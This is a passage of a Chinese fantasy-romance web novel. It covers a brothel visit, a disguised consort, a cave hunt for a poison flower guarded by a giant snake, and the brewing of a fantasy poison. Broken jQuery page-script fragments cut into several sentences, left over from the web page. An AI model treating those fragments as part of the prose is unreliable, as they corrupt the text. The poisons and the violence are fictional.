他环顾着四周,突然看到一个门庭高大有三层的高楼,外观都由朱红漆刷成,绿漆金字牌匾写着:天上人间。 这个名字起得别致,李如羽拍打赫连昭问:“这天上人间是干什么营生的?” 赫连昭鼻子出气,咬着后牙道:“这是青楼,你要进?”如果他没失忆的话,他俩刚刚才吵了一架,这人怎么跟没事人似的,还找他问东问西。正好让李如霜看看,这等不洁身自好的男子,以后可不能给他好脸色看。 李如羽听到是青楼,拉着李如霜就往里进,而李如霜则习惯性地跟着他,却被赫连昭拽住胳膊。 “他去青楼你也跟着?”赫连昭语气有些激动。 李如霜从上到下跟他展示一番,“我现在可是男人,逛一下青楼 () { $(''.inform'').remove(); $(''#content'').append('' 怎么了。”她转头就跟着李如羽和陈无阙进了天上人间的门。 天上人间,一楼是供客人吃饭品茶听曲观舞的大堂,二楼房间很多,用来招待嫖客,三楼则招待无比尊贵的客人。 李如羽哀怨地盯着坐在自己面前的赫连昭,问李如霜:“他怎么也跟来了?” 赫连昭呛声:“这青楼你们能进得,我怎么不能进。” 李如霜眼瞅着他们要吵起来,在桌下踢了李如羽一脚,用只有他俩能听到的音量腹语:“你别找事啊。”李如羽立马蔫了下来,妹妹为什么要帮赫连昭说话,真是有了男人就忘了兄长。 天上人间的女侍都极有眼力,看到他们这一桌似是有争执,便连忙过来打圆场。又见这桌郎君的面容较别桌好了不知多少倍,便软软地往其中一人身上贴,那人恰好就是李如羽。 刚挨到李如羽的肩膀,他就尖叫着躲到陈无阙身旁,像是碰到了什么洪水猛兽。 陈无阙扇子支开他扒着自己的手道:“这么怕女人,还来青楼?”这么多年了,李如羽这个毛病还是没改。 李如羽讪笑,直到那个女侍缠上了赫连昭,他才悄悄回到自己的座位。 那女侍看赫连昭颇为面熟,似乎在哪里见过,她轻柔的手掌抚上赫连昭的肩膀,“啊!”只一瞬,赫连昭就将她的手捏住,力度大得要将手碾碎一般。 “你别动手动脚。”绿色的眼睛盯着她,女侍感觉自己被一头凶猛的狼咬住脖颈,吓得花枝乱颤,一下子退出老远跑到老鸨那里控诉。 这桌客人看上去非富即贵,却不是好相与的。老鸨花锦心中疑惑,她这里虽然是青楼,但闹事的人也得掂掂自己的分量,于是便随着女侍前去一探究竟。 不看不要紧,女侍不常在外走动,不识得一些达官贵人也情有可原,可花锦一眼就看出被女侍指着的男人是何身份,她立马打落女侍不安分的手,陪着笑上前。 “都上这了,还遮什么遮,怕被别人看见啊!”大堂中,一个喝醉了的壮汉想要摘一位客人的帷帽,带着黑纱帷帽的客人仍坐在原地岿然不动。 花锦记得这位客人家中做小生意,不是名门望族,但家中殷实,便在天上人间花钱大手大脚,自以为高人一等,经常捉弄女妓和客人。这不刚刚在二楼完事,便到大堂来闹了。 眼看醉汉就要将客人扒拉到地上,李如霜抢在花锦前头,一脚把他踹出三桌有余。花锦心有余悸,幸好大堂的桌子是砌在地上的,不然非得被醉汉扑倒。 “灌了几两黄汤,就不知道自己姓什么!人家不愿意摘帽子,你怎么还强迫他。”李如霜把平时跟着父亲学的下三滥脏话一股脑都骂了出来。 见自家妹子一出手就将恶人制服,李如羽在旁拍手叫好。 醉汉晃着脑袋爬了起来,迷迷糊糊中认准了李如霜,刚刚让他在众人面前丢了面子,此时不管三七二十一朝她扑了过来。 22. 想念... 李如霜显然没有把他放在眼里,只待那醉汉扑上来,轻轻一躲,他就能摔在地上。 身后戴着帷帽的客人缓缓起身,扳过李如霜的肩膀将她拽到自己身后,紧接着迅速出了侧腿踹中醉汉的胸口,梆的一声,醉汉倒下,只有进的气没出的气。 这一腿力量不俗,只怕那醉汉已经凶多吉少,花锦立即叫人将他抬了出去。 李如霜邀请那客人与他们同坐一桌,询问着他的来历,但这个人嘴严得很,一直不说话。众人对此人身份好奇之时,赫连昭一只脚已经朝着门口的方向,准备逃离这里。 他可是一眼就看出此人的身份,刚刚将醉汉踹在地上的武功,名叫斩狼诀,是北寒冰室王族秘传功法。帷帽遮得住容颜,遮不住身姿,母妃许久没有这样任性了,不带侍卫贸然出宫逛花楼。若被父王知道了,免不了怪罪,这么一想,为免母妃身份暴露,他还是得留下来。 赫连昭如坐针毡,感觉帷帽里的视线一直盯着自己。 莫怜香把赫连昭与李如霜之间若有若无的亲近看了个透,她笑着喝了一口酒。 近日,她对赫连王萌生了怨怼之意。王上不在身边时,她便不自觉地将自己与其他嫔妃相比,愈发陷入自怨自艾中。辰时一众宫女簇拥着她醒来,莫怜香看着桌上摆满极其丰盛的菜,便得知今日又是无趣的一天,与昨日一样,这样的日子她过了二十多年。 今日不一样,今日是她与王上初见的日子,她都吃完了午膳也没听到任何王上要来的消息,依莫怜香看,他怕是不回来了。 昭儿走后,莫怜香把宫女都支开,换上从前自己行走江湖的装束,带上帷帽遮面,在市井之中游荡。 天上人间是她在江湖的姊妹开的,朱漆绿匾今犹在,如玉人间两相隔。莫怜香扶着柱子忆起往事,不由得心头胀痛,就在大堂喝了几杯酒。 可惜,无论多烈的酒都灌不倒她,莫怜香多想一醉方休,她想自己应当炼制一种毒,可以让自己醉倒的毒。 李如霜出现的那一刻,她好似看到了曾经的自己,女扮男装行侠仗义,如今却被困在深宫之中。 莫怜香不想多留,坐了一阵,便招呼花锦过来,递给她一块令牌。花锦看后大惊失色,顿时没了平时揽客的轻佻样,屈腰低头语气甚是惶恐:“不知大人光临,还请见谅,不知大人有何吩咐?” 帷帽之中传出银铃般的嗓音:“他们这桌我请了,还有,天上人间不是什么客人都能随随便便进来,这点你没有听你如玉姐姐说过吗?” 如玉还在时,天上人间的客人都得能入她的眼才行,如果如玉不满意,就是天王老子来也不能进。 花锦听了立马下跪道:“花锦知错了,奴家即刻整改。” 说完这些,莫怜香与其他人也无话,起身离去了。 “她她,她怎是个女的?”李如羽听到莫怜香的声音有点惊讶,本以为只有自己妹子喜欢胡闹女扮男装来青楼,不成想今日就又碰到了一个。 花锦听到李如羽的质疑有些不乐意,她收起令牌道:“女子怎的了,奴家这里也有俊美的小倌,只许你们男子沾花惹草,不许女子来寻欢作乐了?”南州车队进长安之时,她遥遥看了几眼,这位郎君便是南州使臣,不想南州的风俗竟如此迂腐,女子来逛花楼也让人说三道四了。 李如羽进来时一劲儿跟赫连昭斗气,还没有好好观察这天上人间的实情,此时一看,果真还有几桌女客人,旁边环着个几个眉目清秀的小倌。 李如霜在心中暗暗佩服赫连的开放,这在南州可以称得上是伤风败俗了。 经刚刚闹了一通,他们也没了听曲的心思,只闲谈几句便各自回去了。 赫连昭默默跟在李如霜身后,李如霜为了避嫌快走了几步与他拉开距离,赫连昭又追了上来。 “你跟着我干嘛?”李如霜有些无奈,赫连昭像个小尾巴似的跟她一路了,她不说话这男人就一直在后面也不张嘴。 李如霜嫁到太子府后,赫连昭即便身在自己府中,心却飘到了太子府里。大哥不在府中他总往那跑恐遭人闲话,此时终于有机会与她多待一会,他不可能错过。 他只嫌到太子府的路不够长,不够远。 李如霜行至太子府墙边,望了一下高墙,对赫连昭说:“你要进来吗?” 赫连昭愣住,十多年了,他与大哥最要好,进太子府只要从正门光明正大地进就行了,堂堂赫连王室十王子何须翻墙,若被人知道了对他作何感想。 趴在墙头的李如霜自上而下望着赫连昭,见他犹豫不决,转身消失在墙另一边。 赫连昭急忙纵身一跃,跳到柔软的草丛中,还没站稳就被李如霜推了一把,一下子摔了个狗啃屎。 “哈哈哈,这就是第二个下来的后果。”李如霜扶他起来,捧着赫连昭的脸查看有没有受伤。 赫连昭忽地扣住她的后脑按进自己的胸膛,手臂锁紧,没脾气地笑道:“这样捉弄我,小心我治你的罪。”他在李如霜背上摸来摸去,也算是讨回了点刚刚被推倒在地的补偿。 李如霜挨着他的胸膛,声音透过胸骨和布料震着她的耳膜,挣扎着想要钻出来,却被赫连昭按住了。 突然,一群小丫鬟说笑的声音从东面传来,李如霜僵住,小声道:“喂,快放我出来,要被发现了。” 赫连昭在她头上轻笑一声,“以我们的身手,不会被发现的。” 他抱着怀中的人跳上房檐,寻到李如霜的住处,将她放了下来。 “赫连昭你......”眼前的男人仍不打算走,手还紧紧钳着她的肩膀,舍不得的样子让李如霜心头一紧。 她眼眶有点润,嘴上调笑他道:“就这样想我?几天不见这个样子。” 赫连昭盯着那张朝思暮想的薄糯小口,想也不想直接贴了上去,堵住李如霜所有的言语。 “唔~”热乎乎的唇包住了她的,舌尖一顶,轻而易举撬开了牙关,李如霜刚开始还稍作抵抗,然而很快就招架不住地情动了,身体软得像水一样,不由自主地回应着。 感觉到李如霜的主动,赫连昭呼吸粗重更加用力,仿佛下一秒就要将她拆吃入腹。 正是情浓之时,门吱呀地开了,李如霜猛然从温柔乡中醒来 () { $(''.inform'').remove(); $(''#content'').append('' ,赫连昭还闭着眼睛在自己嘴唇上啃食。她以迅雷不及掩耳之势将他推开,擦了擦嘴。 玉棉腮帮子含着东西进来,看见自家小姐与赫连小王子同在屋内,顿时惊讶得停止咀嚼,小姐还侧过身把小王子挡住,脸像红苹果似的。 她立即转过身道:“小姐,那个我到门外给你们守着。” 说完,玉棉便关上门退了出去。 李如霜回头一看,赫连昭居然坐在椅子上笑她,想起刚刚种种,她害羞得眼神乱飘。 “都怪你,幸好是玉棉,若是别人咱俩怎么说得清!”李如霜控诉道。 赫连昭喜欢她扭捏的样子,十指相扣,一把将李如霜拽过来坐在他腿上,顺手解开了她的发带。 “咱俩早就说不清了。” 李如霜撑着男人的肩膀,发丝垂到他的脸颊,赫连昭觉得自己快要疯了。 他极力克制那股在体内肆意生长的欲望,却无济于事,感受着脸上摇晃的发丝,赫连昭像被迷了心窍,猛地抱紧李如霜。 “你近日怎的了?”李如霜能感觉到赫连昭抑制不住的爱意,靠着他的肩膀问。 赫连昭也不知自己怎么了,今日一挨到她就控制不了自己。 两人缠绵一阵,李如霜依依不舍地送走了赫连昭。 玉棉进屋之后就眼神发贼,盯得李如霜浑身不自在,她轻怨一声:“死丫头,你干什么,有话直说!” 玉棉笑嘻嘻地与李如霜并坐一起问:“小姐,小王子就是你回来之后念念不忘的人呐。” 李如霜羞赧一笑点点头,玉棉心想这就对了。据她观察,太子无论是性格还是长相,都不符合她家小姐的口味。况且小姐嫁进太子府后,两人之间也没有那种恩爱的感觉。 跟着自家小姐,什么荒唐事没见过,玉棉也是见怪不怪了。 赫连煜轻功一绝,脚程极快,不出十日便绑回三个鬼兵,那日从霜寒殿匆匆离去的郎佳佑,则是为了赶上赫连煜以助他一臂之力。 三个鬼兵被五花大绑码在霜寒殿大堂,鬼兵还活着,一个个眼底血红瞳仁涣散,不住地挣扎着,似乎丧失了作为人的意识,只剩下本能。 赫连昭翻看着几人的身体,还要小心被他们抓挠到,鬼兵嘴里发出如象鸣一般的声音,他起身坐在一旁思索着。 什么毒这样奇诡,能够让人发出象鸣。他只知道疯狗的唾液能够让人狅颠恐水,蛇的毒液让人暴毙,鬼兵这样的症状,更像巫蛊之术中所描述的被什么东西上身一样。 宫女于两侧掀开珠帘,莫怜香走了出来,沉默地看着地上的鬼兵。 良久,她才坐于上位喝了口茶。近日她总是贪睡,做什么事情都兴致缺缺。 “昭儿,取一块肉拿过来我看看。”她揉着脑门道。 赫连昭抽出匕首,割下其中一个鬼兵的大腿肉,放在盘中呈上来。莫怜香盯着肉直泛恶心,做了好一阵子思想建设,食指的长指甲没入肉中,随即放于嘴里,她将指甲上的血舔净,砸吧着嘴。 母妃这个样子,无论看多少遍都还是有些不习惯,赫连昭在一旁站着直反胃。 23. 鹑火杀 北寒冰室王族虽然都擅长毒术,但各自分化的本领并不相同,莫从南精于凝练,任何毒物落于他手中,都可淬炼成液体。赫连昭精于体术,能够让全身毒素随着施展的拳法打到敌人身上。 而莫怜香则舌头最灵敏,擅长验毒,无论什么奇毒异鸠,放在嘴里尝上一尝,便可品出毒水几分,各方毒素几分。 只是这种方式太过于简单粗暴,让旁人看了免不了发怵。 莫怜香舔了舔嘴角,眼神迷离着,半晌缓过神来,推开眼前血淋淋的肉块。她似是对味道十分满意,妩媚地笑道:“好久没尝过这么美味的毒了。” 美......美味?赫连昭好奇地凑近闻那肉,只有腥臭味。难以想象这等不堪入目之物,味道能有多好,他还没那个胆量像母妃一样尝上一口。 莫怜香尝到这个毒,突然想起那日在天上人间喝酒时,想过要制出一种可以让身负五毒体的人也可以体会醉酒的毒,但始终调配不出满意的配方。 刚才这鬼兵血中所带的毒滑入喉咙,在她体内乱窜,那一瞬间莫怜香放任身体随着毒素流窜的规律去呼吸,体会到了平常人所说的那种微醺的感觉。 说起来,还要感谢南陵国送来的鬼兵,让她找到了制毒的灵感。 “昭儿,你来分辨一下,这鬼兵体内究竟有多少毒。”莫怜香从不放过任何一个可以让赫连昭成长的机会。 赫连昭先头已经闻得差不多,只是若要让他确定地答出所有毒的种类,还需...... 只见他将手放于那块肉之上,鬼兵的肉瞬间被炙烤变色,空中弥漫着肉香,在一旁待命的宫女们忽地眼呆嘴斜,倒在地上爬行起来。 郎佳佑刚进来见到这等场景,立即拔出佩刀,将行为异常的宫女的头割了下来,那没了头的身子还在蜷曲着想要站起来。 “抱歉母妃,我忘了还有旁人。”赫连昭看着地上的尸首,眼底阵痛,自责不已。 他闻着空中毒气的味道,将所闻到的毒全都交代了,“只是光靠白鬼伞为底,这几味毒也没办法让士兵无视疼痛。” 莫怜香玩味地笑道:“说得没错,郎佳佑你过来把这肉吃了。” 郎佳佑毫不犹豫上前,拿起桌上半生不熟的肉吞进了肚子里,他愣了一下,随即瞳仁震颤道:“这里有蛊虫。” 莫怜香一直观察着他脸上的表情,点头道:“没错,蛊虫。”这种用蛊的路数很熟悉,让她想起一位故人。 “妹妹......”在郎佳佑的脸上少见地出现了沉痛的神色,他低着头不愿让莫怜香看出心中想法。 莫怜香不管他究竟作何感受,只吩咐他去把几味需要的材料准备好。赫连昭和郎佳佑一起去往宫里掌御司。 “你妹妹吗?”平时,母妃便待郎佳佑不同于其他药人,他和母妃究竟有什么渊源,还有刚才提到的妹妹又是谁,这些母妃都未与他明说,赫连昭实在好奇。 郎佳佑沉默着做手上的事,他脑中本就回忆着从前,赫连昭在旁边大有打破砂锅问到底的架势,再一回神,发现袋中的药装混了。 “小王子,你若不来帮我就请回吧,我不会回答你的。”他拿着袋子,挑出装错的药材。 这个郎佳佑仗着母亲给他撑腰,竟敢忤逆本王子,赫连昭盯着他眼中冒火。 他也拿了一个麻布袋寻找母妃需要的药材和毒物,两个人谁也不理谁,暗暗互相较着劲,将挑选的速度硬生生提了一倍。 宫女太监已经将东西送至霜寒殿,而其中还缺一味毒,鹑火杀。 鹑火杀在赫连国一般是在夏季时才可能采到,采下之后一月之内就会失去效用,没有良好的保存手段。 赫连昭收拾行囊准备前往古滇,那里气候炎热,常年适合鹑火杀生长。 “赫连昭!”城门突然冲出两人,赫连昭定睛一看,竟是大哥和李如霜。 李如霜微微一笑道:“休想抛下我们自己走!”马儿向前走了一步,她拽住缰绳稳住马。赫连煜一脸无奈样,李如霜现在想去哪里,他还需要跟着她一起,以免引起怀疑。 这妮子求了他一天一夜,他只能向父王禀明,古滇毕竟不在赫连国内,自己放心不下弟弟,希望一起前去,而太子妃跟着太子自是不必多说。 赶路途中,赫连煜问了一嘴:“那个郎佳佑怎么没有和你一起?”他记得自己去东南战场将鬼兵带回的时候,多亏了郎佳佑察觉到空中的毒气,不然他现在也和那些鬼兵一样了。 “他去了也是添乱。”一来药人对毒草上瘾,鹑火杀对他这个药人来说是致命诱惑,二来母妃身边就这么一个可用的人,郎佳佑得留在宫中,否则赫连昭不放心。 三人行了五日,他们武功都强脚程快,不至于像李如霜与赫连昭在西漠雪原时,环境恶劣还要照顾梅娘和孩子,落得身受重伤的局面。 他们这一路穿过闹市,攀爬山川,现如今已经远离人烟,走入了一个寸草不生的岩壁之间。 李如霜心中惴惴不安,总觉得这个地方静得很,心中有种不祥的预感。 “啊!啊!”空中传来乌鸦的叫声,刚开始是一只,渐渐地便是三五只,而后一团一团黑鸦笼罩了他们头顶的天空,把日头都遮得严严实实,阴影擦过李如霜的脸,她抬头望着鸦群皱起了眉。 翅膀扇动顿时令刚刚还寂静的岩壁嘈杂起来,黑色的羽毛从上空飘落,打在他们脸上。 这些乌鸦似乎是有动机的,三人立马背对背围在一起,提防着这些乌鸦。 “嘶!这羽毛有问题!”一根羽毛划过李如霜的脸,刚开始她还没有任何感觉,然而下一秒脸上就传来痛楚,她摸了一手血。 赫连煜听了青瑶剑出鞘飞舞着,一片刀光剑影,将飞落的羽毛都挡了回去。赫连昭将李如霜抱在怀里,防止她再被羽毛割到。 () { $(''.inform'').remove(); $(''#content'').append('' 李如霜在一片混乱中,看到了远处山间的缝隙,便大喊道:“快到左边的山洞里避一避!” 三人保持着这样的阵型移至左边山洞,几只乌鸦还要进来,被赫连煜斩于剑下。 余下乌鸦一直在洞口盘旋,不肯离去也不进来,赫连煜长眸微眯盯着张着嘴的乌鸦,收回青瑶剑。 “赫连昭,太岁窟到底在哪啊?”李如霜走进洞穴,燃起了火折子,照着周围的墙壁。 赫连昭嘿嘿一笑挠着头道:“我也不知道,母妃只告诉我一个大致的方向。” “你们北寒冰室的人都这样随意吗?”不知道地点就盲目出来找,得猴年马月才能寻到。 赫连煜摇摇头,拍着赫连昭的肩膀为他辩解:“这你就不知道了,昭儿对这些毒物最为敏感,相隔几十里也可嗅到,比狗鼻子都灵。” 赫连昭得意地点头,“我哥这话一点也不错,狗的鼻子也没我的好使。” 只见兄长和李如霜都在憋笑,他后知后觉噘着嘴垂眼,兄长又开他玩笑。 这山洞很长,他们的话语从里面传出回声,借着火光看清了石壁上的壁画,一个纤瘦的男人眼睛上蒙着布泡在罐子中,血液浸湿布条流了下来。李如霜摸着上面干涸的红色,凑近闻到一股腥味,这竟是真的血。 壁上美人榻躺着一个美人,身上只披着狐裘大氅,露出两条白腿和一个乳,李如霜看着看着眼前忽地被一只手挡住。 “快把手拿开,我看不到了!”李如霜透过指缝突地看见了岩壁上画的某些部位,瞬间止住了想要推开赫连昭的手。 那上面一对赤裸的男女,正在行周公之礼,李如霜转过身发现对面也是这对男女,不同姿势,再往前还是他们,又是不同的动作,不知是何人不知廉耻,居然把一册春宫图画在墙上了。 忽然,赫连昭闻到一股异常难闻的气味从前方飘来,像是泔水桶里捂了半年擦脚布的味道。 他受不了直接掐住了鼻子,“好难闻,前面有古怪。” 李如霜和赫连煜都没有闻到,他们的看着赫连昭这等反应,都打起了十二分精神,走着走着,墙边原本光秃秃的岩壁上长着一朵朵紫色小花,花瓣细长平直,将上面不堪入目的画掩盖住。 “鹑火杀!”赫连昭一眼就将这花认出,叫出了名字,“别靠近它,快关闭五识,不要让它的香气侵扰到你们。” 李如霜刚抬手,赫连昭就着急地在她后背点了几处大穴,封住了她的五识。赫连煜自不必多说,手快出残影,随后沉气归海。 赫连昭小心翼翼地靠近鹑火杀,他们误打误撞地进了这个奇怪的山洞,瞎猫碰到扫死耗子真让他们找到了。 “你刚刚闻到的就是这花气味吗?”李如霜盯着他的后背问道。 赫连昭摇摇头,鹑火杀是腐臭味,刚刚是酸臭味,那味道绝不是鹑火杀,这山洞之中,似乎还藏着其他东西。 24. 花非花 “你们站在原地别动,我去去就回。”赫连昭拿着火折子走向了深渊,脚步越往前,腥臭味越明显。 究竟是什么东西,赫连昭被这味道熏得头昏脑涨,只得屏住呼吸。 洞顶啪嗒啪嗒往下滴着液体,赫连昭举起火折子,头顶一张大嘴以一个惊人的角度张开,上下颌长着两颗尖牙,大嘴之间唾液成丝,粘稠地缕缕落下来。 臭味就是从这张嘴里散发出来的,赫连昭禁不住难闻的味道,赶紧捏住鼻子。 雪蚺!赫连昭脚步放轻,左右看着,这里茫茫四壁,除了石头就是石头,并没有尸骨,这雪蚺定是被人养在这里,否则这么大的蟒蛇,只有在森森雨林中,落叶枯枝下,阴影水泊里才能有。 看样子这条雪蚺正在睡觉,赫连昭蹑手蹑脚地从雪蚺的头底下移开,雪蚺浆白的身子盘根错节占据了整个山洞顶,他尽量忽略从雪蚺身上滴落的黏腻津液,继续向前探寻。 约莫行了几十步,山洞好似没有尽头,他不断地往前走,被那深渊吞得心中发慌。 而雪蚺的身体一直在他头顶,赫连昭心中大骇,他所见到的雪蚺还没有这么长的,山洞中这只莫非成精了? 终于,漆黑之中露出莹莹紫光,赫连昭朝着紫光的方向走去,紫光之中包着一朵小花,赫连昭盯着那朵花,忽然发现有徐徐紫烟从花中蔓延开来,瞬间遍布整个山洞。 “诶?哥你们怎么过来了,我不是让你们不要乱走吗。”赫连昭拿火折子一晃,赫连煜与李如霜突然出现在紫光的后侧。 赫连昭冲他们大喊,他们却好像没有听见一样,摸上了对方的脸,越靠越近,最后吻在一起。赫连昭双眼赤红,有些不敢相信,但愤怒和质疑如疯长的野草,几乎缠绕得他窒息。 他扑过去,想要把两人分开,却总是接触不到他们,他往前一步,李如霜与赫连煜就远他一步。 看着两人卿卿我我,拿他当空气,赫连昭怒火中烧,大吼一声,浑身燃起毒气攻向二人,可毒气接触到李如霜时,她与赫连煜都齐齐消失了。 赫连昭有些发愣,山洞猛地震起来,他双臂张开稳住身形。 “赫连昭!你没事吧!”李如霜喊着跑过来,检查着他浑身上下。 赫连昭转过身来,眼中四溢的怒气还未收回,直直扎向李如霜。 他看着眼前担心焦急的女人,慢慢地恢复些许理智,周围的紫烟也消失了。 刚刚究竟怎么了,赫连昭回想起李如霜和赫连煜亲密的一幕,眼神撇向一旁,逃避着李如霜的视线。 山洞中的震动还在继续,他们头顶的雪蚺不知何时睁开双眼,嘶声从嘴中传出,引得李如霜头皮发麻。 “快走!”赫连煜斩碎掉落的岩块,催促他们。 赫连昭朝紫光包裹的小花伸出手,却因为地面的摆动而无法上前。 李如霜看到他的动作,知晓这花必然十分重要,于是用扶蛇卷了花收到怀中。 赫连昭想起刚刚的画面,忽然道:“这花是鹑火杀的母籽,你拿着不安全。” 李如霜觉得他说得有理,没有怀疑,便把鹑火杀母籽给了他。 头顶雪蚺盘卷身体,他们几乎要站不稳,只见它张着血盆大口,便要吞了他们,李如霜离那雪蚺最近,抬手抵挡措手不及。 赫连煜将她往后一揽,一剑刺穿了雪蚺的左眼,雪蚺顿时疼得嘶吼,左右摆头将赫连煜带了起来。 李如霜见状急忙一鞭套住赫连煜的脚,跳到雪蚺的头上,赫连煜也翻身站在雪蚺眼睛上,把青瑶剑拔了出来。 看准时机,李如霜捆住了身下这个庞然大物的嘴,以免它露出尖牙。赫连昭配合她,一拳打向雪蚺腹部,雪蚺皮下立即渗出了鲜血。 赫连煜握着剑举过头顶,龙骧风翥剑诀一出,山洞内顿时金光乍现,凝聚成龙凤样状,雪蚺感受到剑气的威压,产生了惧意,瞬间萎靡不振,想要逃跑。 “果真是个畜生!”赫连煜乘势将剑插进雪蚺的下颚,腕部用力下压,到七寸之处便卡住,李如霜飞身站在他肩膀,硬是压得剑身一路向下,雪蚺肚膛皮开肉绽,翻出脂花。 李如霜按着赫连煜的肩膀,借力和他一起从雪蚺的身上落了下来。 看着两人配合默契,赫连昭半垂眼帘,眼底晦涩不明,背在身后的手掐紧。 地上的雪蚺痛苦地扭动一阵,随后便僵直不动。 李如霜踹了踹雪蚺的尸体道:“这大蛇也不过如此嘛!” 她有所不知,雪蚺的身体坚硬无比,刀枪不入宛若金刚,此次他们能如此轻松将其斩杀,多亏了由雪沙巨蜥鳞片铸造的青瑶剑。 此剑锋利非常,通体漆黑透着绿光,就没有青瑶剑斩不断的东西。赫连煜独创剑法龙骧风翥,是他独在充满凶猛异兽的森林中闭关,练就的至高无上的剑法。 他几乎将林中的野兽都杀光了,因为不杀它们,赫连煜自己就要被撕成碎片。青瑶剑饮了万兽之血,再使出这一招龙骧风翥,无论是何凶兽,都会对赫连煜产生畏惧,就连雪蚺也不例外。 李如霜与赫连煜曾并肩作战过一段时间,同力协契,更让斩杀雪蚺锐不可当。 这么大的雪蚺不常见,赫连昭用瓶子收集了它的津液,还割了一块腹部的蛇肉放入布袋中。 除了鹑火杀母籽,墙壁上的鹑火杀几乎都被他们摘下,露出后面的壁画来,赫连煜对这些东西不感兴趣,无意去看那壁画。 而李如霜和赫连昭则闹了个面红耳赤。 目标达成,三人回到了长安城。李如霜与他们一同进宫来到了霜寒殿。 那日在客栈,莫怜香并不知道李如霜的身份,而这回她彻底明白了。 自己的儿子看上了他的嫂子,纵是莫怜香经历过大风大浪,也不免感念这是一段孽缘。 而李如霜并不知道莫怜香就是那日天上人间中,用帷帽遮面的客人。她此时坐在大堂之上,捧着茶碗喝茶,丝毫没有注意到莫怜香打量她的视线。 “母妃......”赫连昭张着嘴却没了下言。 莫怜香看着他冷笑一声,吩咐郎佳佑找一口大锅来,她要开始制毒了。 露天的空场之上,架起了一口几乎 () { $(''.inform'').remove(); $(''#content'').append('' 把整个场地占满的大锅,里面像煮汤一样放了许多香辛料。 李如羽和陈无阙得到消息也前来凑热闹。 “这到底是在煮菜还是制毒啊?”李如霜闻到锅中传出的香味,不禁吞了一下口水。她想,赫连昭的厨艺估计是跟着他母妃学的。 下人将美人榻搬到大锅前,莫怜香懒洋洋地卧着,手支着脑袋百无聊赖地看着咕噜冒泡的毒汤。 听到李如霜的话,她抬起眼皮道:“毒药也得好吃才能下嘴,你个小丫头懂什么?” 李如羽贴近陈无阙悄悄耳语:“陈无阙你学着点,人家制毒做得这样美味,你做菜却像熬中药。” “闭嘴。”陈无阙咬着牙,眼中充满无奈,他也一直在研究菜怎样做才好吃,可总是事与愿违啊! 莫怜香就侧躺在榻上指挥着郎佳佑和赫连昭将药材和毒种都倒进锅里,下面不断添着新柴,毒汤咕噜咕噜地冒着泡。 莫怜香嫌火不够旺,右手一挥,将一筐柴火全都扔到了锅下面,顿时火苗窜出一丈之高,将锅身都烧得通红。 除了莫怜香、赫连昭与郎佳佑,其余人皆被这火焰烤得承受不住,退避三舍。 赫连王在远处的凉亭上,静静地望着下面这一幕。 怜香制毒的时候,旁人总是怕那毒气伤了龙体,三番五次地阻挠他,不让他靠近,故一直都不曾见过她施展能力的时候。 今日站在这假山之上,见到真正的制毒场景,焰火几乎要与他所站之处平齐,焰苗在他眼眸中明灭跳动。 这才是北寒冰室的掌上明珠,北寒冰室的千金公主。他盯着下面榻上的美人,顿时燃起了心中之火。 “好像差不多了。”赫连昭观察着锅里的动静,莫怜香这才下了地,上前看着大锅内的毒汤。 里面的汤煮得有些凝固,隐约有晶体析出,她点点头,让郎佳佑将鹑火杀拿了出来,十分慷慨地放了一大筐。 一瞬间锅内着起蓝色的火来,毒汤和鹑火杀在蓝焰之中逐渐融合在一起,水分随着火焰的燃烧,逐渐消失,只剩下了一堆紫色的粉末。 “成了!”赫连昭高兴地喊道。 “记得给那三个鬼兵试一下。”莫怜香的任务完成,起身回宫。 李如霜走到赫连昭身旁,狐疑地看着锅中的粉末,这毒这么快就炼好了?赫连昭的母妃还真是一位奇人。 即便李如霜在他旁边,赫连昭也不知道如何面对她。他盛了一杯粉末朝着霜寒殿走去,只留给李如霜一个仓皇的背影。 李如霜总感觉赫连昭回来这几日十分奇怪,觉得不能就这么让他走了,便默默跟在身后。 她靠着柱子,看着赫连昭在大殿内忙前忙后,把自己晾在一旁,觉得有些好笑。 生闷气挂脸这么严重,生怕她不知道。李如霜没忍住开了口:“有什么需要我帮忙吗?” 赫连昭闻言顿了一下,摇摇头也不说话,弯腰掏出刚刚从锅中取出的粉末。 手覆在上面,就要用内火烧燃,他忽然停了下来,头微微侧向李如霜道:“你先出去,这气味有毒。” 25. 又做傻事 “啊?啊......好......”李如霜乖乖听话走出大殿,她饶有顾虑地回望殿内,叹了口气。 里面的人都被赫连昭清了出来,李如霜心中酸味苦味倒了一滩,不知何时惹了赫连昭不快,刚才对她这样冷硬。 殿内只剩下了赫连昭与三个鬼兵,赫连昭拿着粉末的手上瞬间燃起了一缕紫烟,他往鬼兵的方向一扇,烟顺着鬼兵鼻子钻了进去。 挣扎着的鬼兵顿时停止挣扎,眼底渗出血,两腿一蹬便没气了。 母妃这个配方真是立竿见影,如此一来,他们岂不是所向披靡了。 赫连昭在母妃殿中找了个瓷瓶,将剩下的粉末封好,正喜出望外之时,他却突然想到一个被忽略的问题:他吸入毒气倒是没事,若是自家军队误吸了,岂不是自乱阵脚。 看来还是要配一副可以抵御毒气的解药才行。 他拍了拍手中的灰,走出大殿,刚迈出门槛,忽地察觉到李如霜坐在门旁边,赫连昭迟疑了一下,偏过头看着她,闭着眼睛似乎睡着了。 赫连昭自从在山洞见了那样的画面,心中就如扎入了根刺,若那日见到的,便是他从前的记忆,他更不知如何面对李如霜。 想了想,他还是放心不下李如霜,天色渐晚愈发凉了,赫连昭蹲下来晃着她的肩膀。 “嗯?你忙完了。”李如霜睁开眼睛,一张俊脸就出现,甚是赏心悦目。 见她已经醒了,赫连昭起身说道:“快回去吧,我哥应该在等你。” 李如霜伸出手想拽他的袖子,可赫连昭偏偏往前走了一步,她抓了个空。 她低头看着自己的手,失落地回道:“好......” 送走李如霜,赫连昭回到自己府中,将下人都遣散,关紧房门窗户,撂下里屋的帘子。 他从暗格中拿出一个瓷瓶,瓶中散发着难闻的酸臭味。 赫连昭往灯油中倒了一滴,那酸臭的津液燃起来,居然有一股难以言喻的香气。 寝屋中间的水盆中养着一朵白色小花,正是那日在洞中取走的鹑火杀母籽。花瓣娇嫩,赫连昭小心翼翼地掰下一片,放到灯油之中。 赫连昭回来之后,将洞中之事仔细回想一番,这雪蚺身上的液体与鹑火杀的母籽,似乎能够让他想起从前的事情。 那日洞中的景象,实在不像假的,感觉那就是他之前亲身经历过的事情。 油灯燃烧升起的烟缠绕着赫连昭,他闭上眼睛盘腿坐下,意识被拽进了一片黑暗之中。 赫连昭睁开眼睛,周围漆黑伸手不见五指,自己不知何时拿着的火折子,突然窜起了一簇火苗。 四周顿时明亮起来,他发现自己又回到了那个长满鹑火杀的洞穴。 